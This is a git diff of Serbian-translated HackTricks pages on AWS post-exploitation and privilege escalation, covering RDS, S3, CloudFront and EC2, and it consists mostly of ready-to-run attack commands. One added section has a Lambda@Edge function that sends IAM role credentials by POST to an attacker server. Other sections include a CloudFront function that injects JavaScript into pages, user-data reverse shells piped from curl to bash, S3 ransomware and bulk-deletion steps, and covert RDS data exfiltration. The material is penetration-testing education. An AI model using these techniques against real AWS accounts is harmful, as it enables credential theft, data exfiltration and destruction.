izjava aplikacije preko AWS APIs (no DB creds), što može dovesti do izlaganja secrets, JWTs i PII. ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` -Zloupotrebite RDS read replicas da biste dobili out-of-band read pristup bez dodirivanja kredencijala primarne instance. Napadač može kreirati read replica iz produkcione instance, resetovati replica's master password (ovo ne menja primarnu), i opcionalno izložiti replica javno radi exfiltracije podataka. +Iskoristite RDS replike za čitanje kako biste dobili van-kanalni pristup za čitanje bez diranja akreditiva primarne instance. Napadač može kreirati repliku za čitanje iz produkcione instance, resetovati master lozinku replike (ovo ne menja primarnu), i po želji izložiti repliku javno da bi eksfiltrirao podatke. Potrebne dozvole (minimum): - `rds:DescribeDBInstances` @@ -273,7 +309,7 @@ Potrebne dozvole (minimum): - `rds:ModifyDBInstance` - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (ako se izlaže javno) -Uticaj: Read-only pristup produkcionim podacima preko replica sa attacker-controlled credentials; manja verovatnoća detekcije jer primarna ostaje netaknuta i replication se nastavlja. +Uticaj: Pristup samo za čitanje produkcijskih podataka preko replike sa akreditivima pod kontrolom napadača; manja verovatnoća detekcije jer primarna ostaje netaknuta i replikacija se nastavlja. ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ @@ -310,7 +346,7 @@ Primer dokaza (MySQL): ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` -Iskoristite RDS Blue/Green da klonirate production DB u kontinuirano replicirano green okruženje samo za čitanje. Zatim resetujte green master credentials kako biste pristupili podacima bez diranja blue (prod) instance. Ovo je diskretnije od snapshot sharing i često zaobilazi monitoring koji je fokusiran samo na izvor. +Iskoristite RDS Blue/Green da klonirate produkcijsku DB u kontinuirano replikovano green okruženje samo za čitanje. Zatim resetujte master kredencijale za green da biste pristupili podacima bez diranja blue (prod) instance. Ovo je prikrivenije od deljenja snapshot-a i često zaobilazi monitoring koji je fokusiran samo na izvor. ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ @@ -357,20 +393,22 @@ aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` -Uticaj: Samo za čitanje, ali kompletan pristup podacima na klonu produkcije skoro u realnom vremenu, bez izmene produkcione instance. Korisno za prikrivenu ekstrakciju podataka i offline analizu. +Uticaj: Pristup samo za čitanje, ali potpuni pristup podacima iz skoro u realnom vremenu klona produkcije, bez menjanja produkcione instance. Pogodno za prikriveno izvlačenje podataka i offline analizu. -### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password +### Out-of-band SQL via RDS Data API omogućavanjem HTTP endpoint-a i resetovanjem master password-a -Minimalne dozvole: +Iskoristite Aurora da omogućite RDS Data API HTTP endpoint na ciljnom klasteru, resetujete master password na vrednost pod vašom kontrolom i izvršavate SQL preko HTTPS-a (nije potreban VPC mrežni put). Radi na Aurora engine-ima koji podržavaju Data API/EnableHttpEndpoint (npr. Aurora MySQL 8.0 provisioned; neke verzije Aurora PostgreSQL/MySQL). + +Permissions (minimum): - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) -Uticaj: Zaobiđite segmentaciju mreže i exfiltrate podatke putem AWS APIs bez direktne VPC konekcije do DB. +Uticaj: Zaobiđite mrežnu segmentaciju i eksfiltrirajte podatke putem AWS API-ja bez direktne VPC konekcije do DB.
-Kompletan CLI primer (Aurora MySQL) +End-to-end CLI (primer Aurora MySQL) ```bash # 1) Identify target cluster ARN REGION=us-east-1 @@ -423,21 +461,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
Napomene: -- Ako rds-data odbija multi-statement SQL, izvršite odvojene execute-statement pozive. +- Ako rds-data odbije SQL sa više iskaza, izvršavajte odvojene execute-statement pozive. - Za engine-e gde modify-db-cluster --enable-http-endpoint nema efekta, koristite rds enable-http-endpoint --resource-arn. -- Proverite da li engine/version zaista podržava Data API; u suprotnom HttpEndpointEnabled će ostati False. +- Proverite da li engine/verzija zaista podržava Data API; inače HttpEndpointEnabled će ostati False. ### Pribavljanje DB kredencijala preko RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) -Zloupotrebite konfiguraciju RDS Proxy da otkrijete Secrets Manager secret koji se koristi za autentifikaciju backenda, zatim pročitajte taj secret da biste dobili database credentials. Mnogi enviroment-i dodeljuju široka `secretsmanager:GetSecretValue`, što ovo čini niskotarifnim pivotom ka DB creds. Ako secret koristi CMK, pogrešno skopirane KMS dozvole mogu takođe dozvoliti `kms:Decrypt`. +Zloupotrebite konfiguraciju RDS Proxy da otkrijete Secrets Manager secret koji se koristi za backend autentifikaciju, a zatim pročitajte taj secret da dobijete DB kredencijale. Mnogi okviri dodeljuju široka prava `secretsmanager:GetSecretValue`, što ovo čini niskotrudnim pivotom prema DB kredencijalima. Ako secret koristi CMK, pogrešno skopirane KMS dozvole mogu takođe dozvoliti `kms:Decrypt`. -Potrebne dozvole (minimalno): +Potrebne dozvole (minimum): - `rds:DescribeDBProxies` -- `secretsmanager:GetSecretValue` na referencirani SecretArn +- `secretsmanager:GetSecretValue` na referenciranom SecretArn - Opcionalno kada secret koristi CMK: `kms:Decrypt` na tom ključu -Uticaj: Trenutno otkrivanje DB korisničkog imena/lozinke konfigurisane na proxy-ju; omogućava direktan pristup DB-u ili dalje lateral movement. +Uticaj: Odmah otkrivanje DB korisničkog imena/lozinke konfigurisanih na proxy-u; omogućava direktan pristup DB ili dalje lateralno kretanje. Koraci ```bash @@ -478,17 +516,17 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw aws iam delete-role --role-name rds-proxy-secret-role aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery ``` -### Neprimetna kontinuirana eksfiltracija putem Aurora zero‑ETL u Amazon Redshift (rds:CreateIntegration) +### Diskretna kontinuirana eksfiltracija preko Aurora zero‑ETL u Amazon Redshift (rds:CreateIntegration) -Iskoristite Aurora PostgreSQL zero‑ETL integraciju za kontinuiranu replikaciju produkcionih podataka u Redshift Serverless namespace koji kontrolišete. Sa permisivnom Redshift resource policy koja autorizuje CreateInboundIntegration/AuthorizeInboundIntegration za konkretan Aurora cluster ARN, napadač može uspostaviti gotovo u realnom vremenu kopiju podataka bez DB creds, snapshot‑ova ili izloženosti mreži. +Iskoristite Aurora PostgreSQL zero‑ETL integraciju da kontinuirano replicirate proizvodne podatke u Redshift Serverless namespace koji kontrolišete. Sa permisivnom Redshift resource policy koja autorizuje CreateInboundIntegration/AuthorizeInboundIntegration za specifičan Aurora cluster ARN, napadač može uspostaviti skoro‑real‑time kopiju podataka bez DB creds, snapshot‑ova ili mrežne izloženosti. -Permissions needed (minimum): +Potrebne dozvole (minimum): - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations` - `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query) - `rds-data:ExecuteStatement` (optional; to seed data if needed) -Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless. +Testirano na: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
1) Kreirajte Redshift Serverless namespace + workgroup @@ -507,7 +545,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
-2) Podesite Redshift politiku resursa tako da dozvoli izvor Aurora +2) Konfigurišite Redshift politiku resursa da omogući izvor Aurora ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= @@ -569,7 +607,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
-4) Napravite zero‑ETL integraciju iz RDS +4) Kreirajte zero‑ETL integraciju iz RDS ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ @@ -581,7 +619,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
-5) Materijalizujte i upitujte replicirane podatke u Redshiftu +5) Materijalizujte i izvršite upite nad replikovanim podacima u Redshiftu ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ @@ -594,11 +632,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d ```
-Dokazi zapaženi u testu: -- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... -- SVV_INTEGRATION je prikazao integration_id 377a462b-c42c-4f08-937b-77fe75d98211 i state PendingDbConnectState pre kreiranja DB. -- Nakon CREATE DATABASE FROM INTEGRATION, listing tables je otkrio schema ztl i table customers; selecting from ztl.customers vratio je 2 reda (Alice, Bob). +Dokazi primećeni u testu: +- redshift describe-inbound-integrations: Status ACTIVE za Integration arn:...377a462b-... +- SVV_INTEGRATION je prikazao integration_id 377a462b-c42c-4f08-937b-77fe75d98211 i state PendingDbConnectState pre kreiranja DB-a. +- Nakon CREATE DATABASE FROM INTEGRATION, prikaz tabela je otkrio šemu ztl i tabelu customers; izvršavanje upita nad ztl.customers vratilo je 2 reda (Alice, Bob). + +Impact: Continuous near‑real‑time exfiltration of selected Aurora PostgreSQL tables into Redshift Serverless controlled by the attacker, without using database credentials, backups, or network access to the source cluster. -Uticaj: Kontinuirana near‑real‑time exfiltration izabranih Aurora PostgreSQL tabela u Redshift Serverless pod kontrolom napadača, bez korišćenja database credentials, backups ili network access do source cluster. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md index 9f17c4f0f..4ac3c7b81 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -10,29 +10,60 @@ Za više informacija pogledajte: ../../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### Osetljive informacije +### Sensitive Information -Ponekad ćete moći da pronađete osetljive informacije čitljive u buckets. Na primer, terraform state secrets. +Ponekad ćete moći da pronađete osetljive informacije čitljive u bucket-ovima. Na primer, terraform state secrets. ### Pivoting -Različite platforme mogu koristiti S3 za čuvanje osetljivih assets.\ -For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files. +Različite platforme mogu koristiti S3 za čuvanje osetljivih resursa.\ +Na primer, **airflow** može čuvati **DAGs** **code** tamo, ili **web pages** mogu biti direktno servirane iz S3. Napadač sa dozvolama za upis može **izmeniti kod** u bucket-u da bi **pivotovao** na druge platforme, ili **preuzeo naloge** modifikacijom JS fajlova. ### S3 Ransomware -U ovom scenariju, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted. +U ovom scenariju, napadač kreira KMS (Key Management Service) key u svom AWS nalogu ili u drugom kompromitovanom nalogu. Zatim taj key čini dostupan bilo kome u svetu, omogućavajući bilo kom AWS korisniku, rolu ili nalogu da enkriptuje objekte koristeći taj key. Međutim, objekti ne mogu biti dekriptovani. -The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more. +Napadač identifikuje ciljanu S3 bucket i dobija write-level pristup toj bucket-i koristeći različite metode. To može biti posledica loše konfiguracije bucket-a koja je javno izložila bucket ili zbog toga što je napadač dobio pristup samom AWS okruženju. Napadač obično cilja bucket-ove koji sadrže osetljive informacije kao što su PII, PHI, logovi, backup-ovi i slično. -To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket. +Da bi utvrdio da li bucket može biti meta ransomware-a, napadač proverava njegovu konfiguraciju. To uključuje verifikaciju da li je **S3 Object Versioning** omogućen i da li je **multi-factor authentication delete (MFA delete)** omogućen. Ako Object Versioning nije omogućen, napadač može nastaviti. Ako je Object Versioning omogućen, ali je MFA delete onemogućen, napadač može **onemogućiti Object Versioning**. Ako su i Object Versioning i MFA delete omogućeni, postaje teže za napadača da izvrši ransomware nad tom bucket-om. -Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key. +Koristeći AWS API, napadač **zamenjuje svaki objekat u bucket-u enkriptovanom kopijom koristeći njihov KMS key**. Ovo efikasno enkriptuje podatke u bucket-u, čineći ih nedostupnim bez ključa. -To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost. +Da bi dodatno izvršio pritisak, napadač zakazuje brisanje KMS key-a korišćenog u napadu. To daje meti 7-dnevni rok da oporavi podatke pre nego što key bude obrisan i podaci postanu trajno izgubljeni. -Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack. +Na kraju, napadač može upload-ovati finalni fajl, obično nazvan "ransom-note.txt", koji sadrži instrukcije za metu kako da povrati svoje fajlove. Ovaj fajl se upload-uje bez enkripcije, verovatno da privuče pažnju mete i obavesti je o ransomware napadu. -**Za više informacija** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +### `s3:RestoreObject` + +Napadač sa dozvolom s3:RestoreObject može reaktivirati objekte arhivirane u Glacier ili Deep Archive, čineći ih privremeno dostupnim. Ovo omogućava oporavak i eksfiltraciju istorijski arhiviranih podataka (backup-ova, snapshot-ova, logova, sertifikata, starih tajni) koji bi inače bili nedostupni. Ako napadač kombinuje ovu dozvolu sa read dozvolama (npr. s3:GetObject), može dobiti pune kopije osetljivih podataka. +```bash +aws s3api restore-object \ +--bucket \ +--key \ +--restore-request '{ +"Days": , +"GlacierJobParameters": { "Tier": "Standard" } +}' +``` +### `s3:Delete*` + +Napadač sa s3:Delete* dozvolom može obrisati objekte, verzije i čitave buckets, narušiti backups i prouzrokovati trenutni i nepovratni gubitak podataka, uništenje dokaza i kompromitovanje backup ili recovery artefakata. +```bash +# Delete an object from a bucket +aws s3api delete-object \ +--bucket \ +--key + +# Delete a specific version +aws s3api delete-object \ +--bucket \ +--key \ +--version-id + +# Delete a bucket +aws s3api delete-bucket \ +--bucket +``` +**Za više informacija** [**pogledajte originalno istraživanje**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md new file mode 100644 index 000000000..5c0d47813 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md @@ -0,0 +1,217 @@ +# AWS - CloudFront Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFront + +### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig` + +Napadač koji ima dozvole `cloudfront:UpdateDistribution` i `cloudfront:GetDistributionConfig` može izmeniti konfiguraciju CloudFront distribucije. Nisu mu potrebne dozvole na ciljnom S3 bucket-u, iako je napad lakši ako taj bucket ima permissive politiku koja omogućava pristup sa servisnog principal-a `cloudfront.amazonaws.com`. + +Napadač menja origin konfiguraciju distribucije da pokazuje na drugi S3 bucket ili na server koji kontroliše napadač. Prvo dohvate trenutnu konfiguraciju distribucije: +```bash +aws cloudfront get-distribution-config --id | jq '.DistributionConfig' > current-config.json +``` +Zatim izmenjuju current-config.json da bi origin ukazivao na novi resurs — na primer, drugi S3 bucket: +```bash +... +"Origins": { +"Quantity": 1, +"Items": [ +{ +"Id": "", +"DomainName": ".s3.us-east-1.amazonaws.com", +"OriginPath": "", +"CustomHeaders": { +"Quantity": 0 +}, +"S3OriginConfig": { +"OriginAccessIdentity": "", +"OriginReadTimeout": 30 +}, +"ConnectionAttempts": 3, +"ConnectionTimeout": 10, +"OriginShield": { +"Enabled": false +}, +"OriginAccessControlId": "E30N32Y4IBZ971" +} +] +}, +... +``` +Na kraju, primenite izmenjenu konfiguraciju (pri ažuriranju morate navesti trenutni ETag): +```bash +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution \ +--id \ +--distribution-config file://current-config.json \ +--if-match $CURRENT_ETAG +``` + +### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction` +An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions. + +The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses: + +```bash +function handler(event) { +var request = event.request; +var response = event.response; +// Kreiraj novo telo sa zlonamernim JavaScript-om +var maliciousBody = ` + + + +Kompromitovana stranica + + +

Originalni sadržaj

+

Ova stranica je izmenjena pomoću CloudFront Functions

+ + + +`; +// Potpuno zameni telo +response.body = { encoding: "text", data: maliciousBody }; +// Ažuriraj zaglavlja +response.headers["content-type"] = { value: "text/html; charset=utf-8" }; +response.headers["content-length"] = { +value: maliciousBody.length.toString(), +}; +response.headers["x-cloudfront-function"] = { value: "malicious-injection" }; +return response; +} +``` + +Commands to create, publish and attach the function: + +```bash +# Kreiraj malicioznu funkciju u CloudFront +aws cloudfront create-function --name malicious-function --function-config '{ +"Comment": "Malicious CloudFront Function for Code Injection", +"Runtime": "cloudfront-js-1.0" +}' --function-code fileb://malicious-function.js + +# Preuzmi ETag funkcije u DEVELOPMENT fazi +aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text + +# Objavi funkciju u LIVE fazi +aws cloudfront publish-function --name malicious-function --if-match +``` + +Add the function to the distribution configuration (FunctionAssociations): + +```bash +"FunctionAssociations": { +"Quantity": 1, +"Items": [ +{ +"FunctionARN": "arn:aws:cloudfront:::function/malicious-function", +"EventType": "viewer-response" +} +] +} +``` + +Finally update the distribution configuration (remember to supply the current ETag): + +```bash +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG +``` + +### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution` + +An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required. + +The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials: + +```bash +// malicious-lambda-edge.js +exports.handler = async (event) => { +// Obtain role credentials +const credentials = { +accessKeyId: process.env.AWS_ACCESS_KEY_ID, +secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY, +sessionToken: process.env.AWS_SESSION_TOKEN, +}; +// Send credentials to attacker's server +try { +await fetch("https:///steal-credentials", { +method: "POST", +headers: { "Content-Type": "application/json" }, +body: JSON.stringify(credentials) +}); +} catch (error) { +console.error("Error sending credentials:", error); +} +if (event.Records && event.Records[0] && event.Records[0].cf) { +// Modify response headers +const response = event.Records[0].cf.response; +response.headers["x-credential-theft"] = [ +{ +key: "X-Credential-Theft", +value: "Successful", +}, +]; +return response; +} +return { +statusCode: 200, +body: JSON.stringify({ message: "Credentials stolen" }) +}; +}; +``` + +```bash +# Spakujte Lambda@Edge funkciju +zip malicious-lambda-edge.zip malicious-lambda-edge.js + +# Kreirajte Lambda@Edge funkciju sa privilegovanom ulogom +aws lambda create-function \ +--function-name malicious-lambda-edge \ +--runtime nodejs18.x \ +--role \ +--handler malicious-lambda-edge.handler \ +--zip-file fileb://malicious-lambda-edge.zip \ +--region + +# Objavite verziju funkcije +aws lambda publish-version --function-name malicious-lambda-edge --region +``` + +Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version: + +```bash +"LambdaFunctionAssociations": { +"Quantity": 1, +"Items": [ +{ +"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1", +"EventType": "viewer-response", +"IncludeBody": false +} +] +} +``` + +```bash +# Primeni ažuriranu konfiguraciju distribucije (mora koristiti trenutni ETag) +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution \ +--id \ +--distribution-config file://current-config.json \ +--if-match $CURRENT_ETAG + +# Pokreni funkciju slanjem zahteva na distribuciju +curl -v https://.cloudfront.net/ +``` + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md index 7c5652ded..d982fac51 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md @@ -12,11 +12,11 @@ Za više **informacija o EC2** pogledajte: ### `iam:PassRole`, `ec2:RunInstances` -Napadač može **kreirati instancu sa priloženom IAM rolom i potom pristupiti instanci** kako bi ukrao kredencijale IAM role sa metadata endpointa. +Napadač može **kreirati instancu kojoj dodeli IAM role i zatim pristupiti toj instanci** kako bi ukrao IAM role credentials sa metadata endpoint. - **Pristup preko SSH** -Pokrenite novu instancu koristeći već kreirani **ssh key** (`--key-name`) i potom se povežite na nju preko SSH (ako želite da kreirate novi, možda ćete trebati dozvolu `ec2:CreateKeyPair`). +Pokrenite novu instancu koristeći već **kreirani** **ssh key** (`--key-name`) i zatim se povežite na nju preko ssh (ako želite da kreirate novu možda će vam trebati dozvola `ec2:CreateKeyPair`). ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ @@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ ``` - **Pristup preko rev shell u user data** -Možete pokrenuti novu instancu koristeći **user data** (`--user-data`) koja će vam poslati **rev shell**. Na ovaj način ne morate navoditi security group. +Možete pokrenuti novu instancu koristeći **user data** (`--user-data`) koja će vam poslati **rev shell**. Na ovaj način nije potrebno navoditi security group. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -34,7 +34,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` -Pažljivo sa GuradDuty ako koristite kredencijale IAM role izvan instance: +Budite oprezni sa GuradDuty ako koristite kredencijale IAM role van instance: {{#ref}} ../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -44,7 +44,7 @@ Pažljivo sa GuradDuty ako koristite kredencijale IAM role izvan instance: #### Privesc na ECS -Sa ovim skupom permisija takođe biste mogli **da kreirate EC2 instancu i registrujete je unutar ECS cluster-a**. Na ovaj način, ECS **services** će biti **pokrenuti** unutar **EC2 instance** kojoj imate pristup i tada možete prodrijeti u te servise (docker containers) i **ukrasti im pridružene ECS role**. +Sa ovim skupom permisija takođe biste mogli **kreirati EC2 instance i registrovati je unutar ECS clustera**. Na ovaj način, ECS **servisi** će biti **pokrenuti** unutar **EC2 instance** kojoj imate pristup, i onda možete prodrijeti u te servise (docker kontejnere) i **ukrasti njihove prikačene ECS role**. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -59,20 +59,20 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` -Da biste saznali kako da **naterate ECS servise da se pokrenu** u ovoj novoj EC2 instanci pogledajte: +Da biste saznali kako da **naterate ECS servise da se pokrenu** u ovoj novoj EC2 instance, pogledajte: {{#ref}} ../aws-ecs-privesc/README.md {{#endref}} -Ako **ne možete da kreirate novu instancu** ali imate dozvolu `ecs:RegisterContainerInstance`, možda ćete moći da registrujete instancu u okviru klastera i izvedete pomenuti napad. +Ako **ne možete kreirati novu instance** ali imate dozvolu `ecs:RegisterContainerInstance` možda ćete moći da registrujete instance unutar cluster i izvedete pomenuti attack. -**Potential Impact:** Direktan privesc na ECS uloge pridružene task-ovima. +**Potential Impact:** Direktan privesc na ECS roles prikačene na tasks. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -Slično prethodnom scenariju, napadač sa ovim permisijama bi mogao **promeniti IAM ulogu kompromitovane instance** kako bi mogao da ukrade nove kredencijale.\ -Pošto instance profile može imati samo 1 ulogu, ako instance profile **već ima ulogu** (češći slučaj), takođe će vam trebati **`iam:RemoveRoleFromInstanceProfile`**. +Slično prethodnom scenariju, attacker sa ovim dozvolama može **promeniti IAM role kompromitovane instance** tako da bi mogao da ukrade nove credentials.\ +Pošto instance profile može imati samo 1 role, ako instance profile **već ima role** (uobičajen slučaj), takođe ćete trebati **`iam:RemoveRoleFromInstanceProfile`**. ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -80,19 +80,19 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -Ako **instance profile ima role** i napadač **ne može da ga ukloni**, postoji drugo zaobilazno rešenje. On može da **pronađe** **instance profile bez role** ili **kreira novi** (`iam:CreateInstanceProfile`), **doda** **role** tom **instance profile** (kao što je ranije objašnjeno), i **asocira instance profile** na kompromitovanu i**nstanca:** +Ako **instance profile ima role** i napadač **ne može da ga ukloni**, postoji drugo zaobilazno rešenje. Može da **pronađe** **instance profile bez role** ili **kreira novi** (`iam:CreateInstanceProfile`), **doda** **role** tom **instance profile** (kao što je ranije objašnjeno), i **poveže instance profile** kompromitovan sa kompromitovanom i**nstance:** -- Ako instanca **nema nijedan instance** profile (`ec2:AssociateIamInstanceProfile`) +- Ako instance **ne poseduje nijedan instance** profile (`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**Potencijalni uticaj:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**Potencijalni uticaj:** Direktan privesc na drugi EC2 role (morate kompromitovati AWS EC2 instance i imati neke dodatne dozvole ili specifičan instance profile status). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -Sa ovim dozvolama moguće je promeniti instance profile povezan sa instancom, tako da ako je napadač već imao pristup instanci, moći će da ukrade credentials za više instance profile role menjajući onaj koji je sa njom povezan. +Sa ovim dozvolama moguće je promeniti instance profile koji je povezan sa instancom, tako da ako je napadač već imao pristup instanci, moći će da ukrade credentials za više instance profile roles promenom onog koji je povezan sa tom instancom. -- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it +- Ako instanca **ima instance profile**, možete **ukloniti** instance profile (`ec2:DisassociateIamInstanceProfile`) i **povezati** ga ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id @@ -102,12 +102,12 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -**Potencijalni uticaj:** Direktan privesc na drugu EC2 role (potrebno je da kompromitujete AWS EC2 instance i imate dodatnu dozvolu ili specifičan instance profile status). +**Potencijalni uticaj:** Direktan privesc na drugi EC2 role (potrebno je да сте kompromitovali AWS EC2 instancu i да imate neka dodatna dopuštenja ili specifičan instance profile status). ### `ec2:RequestSpotInstances`,`iam:PassRole` -Napadač sa dozvolama **`ec2:RequestSpotInstances`and`iam:PassRole`** može **zatražiti** **Spot Instance** sa **prikačenom EC2 Role** i **rev shell** u **user data**.\ -Kada se instance pokrene, može **ukrasti IAM role**. +Napadač koji ima dozvole **`ec2:RequestSpotInstances`and`iam:PassRole`** može **zatražiti** **Spot Instance** sa **EC2 Role attached** i sa **rev shell** u **user data**.\ +Kada se instanca pokrene, on može **ukrasti IAM role**. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -119,9 +119,9 @@ aws ec2 request-spot-instances \ ``` ### `ec2:ModifyInstanceAttribute` -Napadač sa **`ec2:ModifyInstanceAttribute`** može da menja atribute instance. Između ostalog, može da **promeni user data**, što podrazumeva da može da natera instancu da **pokrene proizvoljne podatke.** To se može iskoristiti za dobijanje **rev shell na EC2 instanci**. +Napadač koji ima **`ec2:ModifyInstanceAttribute`** može da menja atribute instance. Između ostalog, može da **promeni user data**, što 